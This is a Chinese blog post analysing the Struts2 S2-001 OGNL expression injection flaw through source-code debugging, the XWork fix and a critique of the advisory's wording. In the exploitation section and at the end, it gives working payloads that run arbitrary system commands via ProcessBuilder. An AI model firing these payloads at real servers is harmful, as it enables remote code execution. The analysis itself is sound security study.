【Struts2-命令-代碼執行突破分析系列】S2-001


前言

最近學習java安全,在分析s2-001的時候發現了一些問題和心得。

一方面網上關於s2-001的漏洞分析很少,基本上都是poc+利用而已。

另一方面在調試過程中感覺apache官方通告有不准確的地方,這點見后面的一點說明部分。

有不准確的地方望各位師傅指出,謝謝。

漏洞信息

漏洞信息頁面: https://cwiki.apache.org/confluence/display/WW/S2-001

漏洞成因官方概述:Remote code exploit on form validation error

漏洞影響:

WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

環境搭建

源碼結構:

幾個主要文件(待會用到):
index.jsp

<html>
<head> <title>用戶登錄</title> </head> <body> <h1>用戶登錄</h1> <s:form action="login"> <s:textfield name="username" label="username" /> <s:textfield name="password" label="password" /> <s:submit></s:submit> </s:form> </body> </html> 

struts.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC  "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"  "http://struts.apache.org/dtds/struts-2.0.dtd"> <struts> <package name="s2-001" extends="struts-default"> <action name="login" class="com.test.LoginAction"> <result name="success">/success.jsp</result> <result name="error">/index.jsp</result> </action> </package> </struts> 

web.xml:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"> <filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class> </filter> <filter-mapping> <filter-name>struts2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list> </web-app> 

完整源碼見附件。

漏洞利用

最簡單poc:

%{1+1}

任意命令執行:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

new java.lang.String[]{"pwd"})中的pwd替換為對應的命令,即可執行。

如:打開根目錄 :

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls","/"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

 

漏洞分析

在經過tomcat容器的處理后,http請求會到達struts2,從這里開始調試吧。

在 /com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:158 接受我們輸入的參數值,之后會調用對應的set方法(這個省略):

ValueStack stack = ac.getValueStack(); setParameters(action, stack, parameters); } finally { 

繼續執行,執行完interceptor部分,也即對return invocation.invoke();進行step over,到達/com/opensymphony/xwork2/DefaultActionInvocation.java:252

跟進executeResult(),到達 /com/opensymphony/xwork2/DefaultActionInvocation.java:343

跟進result.execute(this),到達 /org/apache/struts2/dispatcher/StrutsResultSupport.java:175:

此后在dispatcher.forward(request, response);跟進,此處省略一些過程,相關調用棧如下:

進入 /org/apache/struts2/views/jsp/ComponentTagSupport.java:47,

這里會對jsp標簽進行解析,但這時的標簽並不包含我們的payload,我們可以在這里step over,直到解析到對應的標簽:

如上圖,我們提交的password值為%{1+1},因此着重關注對<s:textfield name="password" label="password" />解析。回到doStartTag,執行完后會再次回到index.jsp,此時遇到了相應的閉合標簽/>,會跳轉到doEndTag:

public int doEndTag() throws JspException { component.end(pageContext.getOut(), getBody()); component = null; return EVAL_PAGE; } 

跟進component.end(),到達 /org/apache/struts2/components/UIBean.java:486:

跟入evaluateParams后一直執行到如下圖

由於開啟了altSyntax,expr變為為%{password}

跟入addParameter("nameValue", findValue(expr, valueClazz));中的findValue,來到 /org/apache/struts2/components/Component.java:318

protected Object findValue(String expr, Class toType) { if (altSyntax() && toType == String.class) { return TextParseUtil.translateVariables('%', expr, stack); } 

開啟了altSyntaxtoTypeclass.java.lang.string,跟入TextParseUtil.translateVariables,在/com/opensymphony/xwork2/util/TextParseUtil.java:

public static String translateVariables(char open, String expression, ValueStack stack) { return translateVariables(open, expression, stack, String.class, null).toString(); } 

繼續跟入translateVariables,源碼如下:

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) { // deal with the "pure" expressions first! //expression = expression.trim(); Object result = expression; while (true) { int start = expression.indexOf(open + "{"); int length = expression.length(); int x = start + 2; int end; char c; int count = 1; while (start != -1 && x < length && count != 0) { c = expression.charAt(x++); if (c == '{') { count++; } else if (c == '}') { count--; } } end = x - 1; if ((start != -1) && (end != -1) && (count == 0)) { String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); if (evaluator != null) { o = evaluator.evaluate(o); } String left = expression.substring(0, start); String right = expression.substring(end + 1); if (o != null) { if (TextUtils.stringSet(left)) { result = left + o; } else { result = o; } if (TextUtils.stringSet(right)) { result = result + right; } expression = left + o + right; } else { // the variable doesn't exist, so don't display anything result = left + right; expression = left + right; } } else { break; } } return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType); } 

此時expression%{password}

經過while循環,確定start和end定位后,此時varpassword,到達:

stack.findValue(var, asType);會返回password的值%{1+1},這個就是我們傳入的payload:

此后o%{1+1},再對o進行了一番處理后,payload經過result變量,最終成為expression的值:

在完成后,進入下一個循環:

並且在Object o = stack.findValue(var, asType);中完成了對payload的執行

因此究其原因,在於在translateVariables中,遞歸解析了表達式,在處理完%{password}后將password的值直接取出並繼續在while循環中解析,若用戶輸入的password是惡意的ognl表達式,比如%{1+1},則得以解析執行。

漏洞修復

XWork 2.0.4中,改變了ognl表達式的解析方法從而不會產生遞歸解析,用戶的輸入也不會再解析執行。

對應源碼如下:

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) { // deal with the "pure" expressions first! //expression = expression.trim(); Object result = expression; int loopCount = 1; int pos = 0; while (true) { int start = expression.indexOf(open + "{", pos); if (start == -1) { pos = 0; loopCount++; start = expression.indexOf(open + "{"); } if (loopCount > maxLoopCount) { // translateVariables prevent infinite loop / expression recursive evaluation break; } int length = expression.length(); int x = start + 2; int end; char c; int count = 1; while (start != -1 && x < length && count != 0) { c = expression.charAt(x++); if (c == '{') { count++; } else if (c == '}') { count--; } } end = x - 1; if ((start != -1) && (end != -1) && (count == 0)) { String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); if (evaluator != null) { o = evaluator.evaluate(o); } String left = expression.substring(0, start); String right = expression.substring(end + 1); String middle = null; if (o != null) { middle = o.toString(); if (!TextUtils.stringSet(left)) { result = o; } else { result = left + middle; } if (TextUtils.stringSet(right)) { result = result + right; } expression = left + middle + right; } else { // the variable doesn't exist, so don't display anything result = left + right; expression = left + right; } pos = (left != null && left.length() > 0 ? left.length() - 1: 0) + (middle != null && middle.length() > 0 ? middle.length() - 1: 0) + 1; pos = Math.max(pos, 1); } else { break; } } return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType); } 

當解析完一層表達式后,如圖,此時loopCount > maxLoopCount,從而執行break,不再繼續解析%{1+1}:

diff的結果如下:

一個說明

回到漏洞信息和開頭環境搭建部分,漏洞信息中的圖有畫上了幾個紅圈。基於此問一個問題:表單驗證錯誤是在哪里觸發的?

查閱apache2官方文檔(https://struts.apache.org/core-developers/validation.html)提到

就本次測試源碼而言,並沒有相應的validation.xml或其他validation方法。為更直觀起見,我們修改LoginAction.java源碼:

public void setPassword(String password) { this.password = "%{1+1}"; } public void setUsername(String username) { this.username = "chybeta"; } @Override public String execute() throws Exception { if (username.equals("chybeta") ) { return "error"; } else { return "success"; } } 

當submit時,會執行相應的set方法,直接設置username和password分別為chybeta%{1+1}。修改后的源碼中的execute方法中若usernamechybeta則返回error,根據struts.xml配置文件,當返回error時,會返回index.jsp,即這里不算存在邏輯上的驗證錯誤,因為username被硬編碼為chybeta了,username.equals("chybeta")恆成立。

所以這里沒有涉及到我們傳入的參數,不存在表單驗證失敗,也不存在邏輯上的驗證失敗。執行poc如下:

所以可以說表單驗證錯誤並不是該漏洞的產生的原因,但表單驗證錯誤是這個漏洞出現的場景之一。在struts2框架中,配置了Validation,倘若驗證出錯會往往會原樣返回用戶輸入的值而且不會跳轉到新的頁面,而在最后解析頁面時區解析了用戶輸入的值,從而執行payload。在實際場景中,比如登陸等處,往往會配置了Validation,比如限制用戶名長度,數字的范圍等等,從而成為了該漏洞的高發區。

以struts2的showcase為例:

在本測試環境的源碼中,沒有表單驗證,但同樣把用戶的輸入留在了頁面里,從而在解析的時候執行了。

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls","/"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM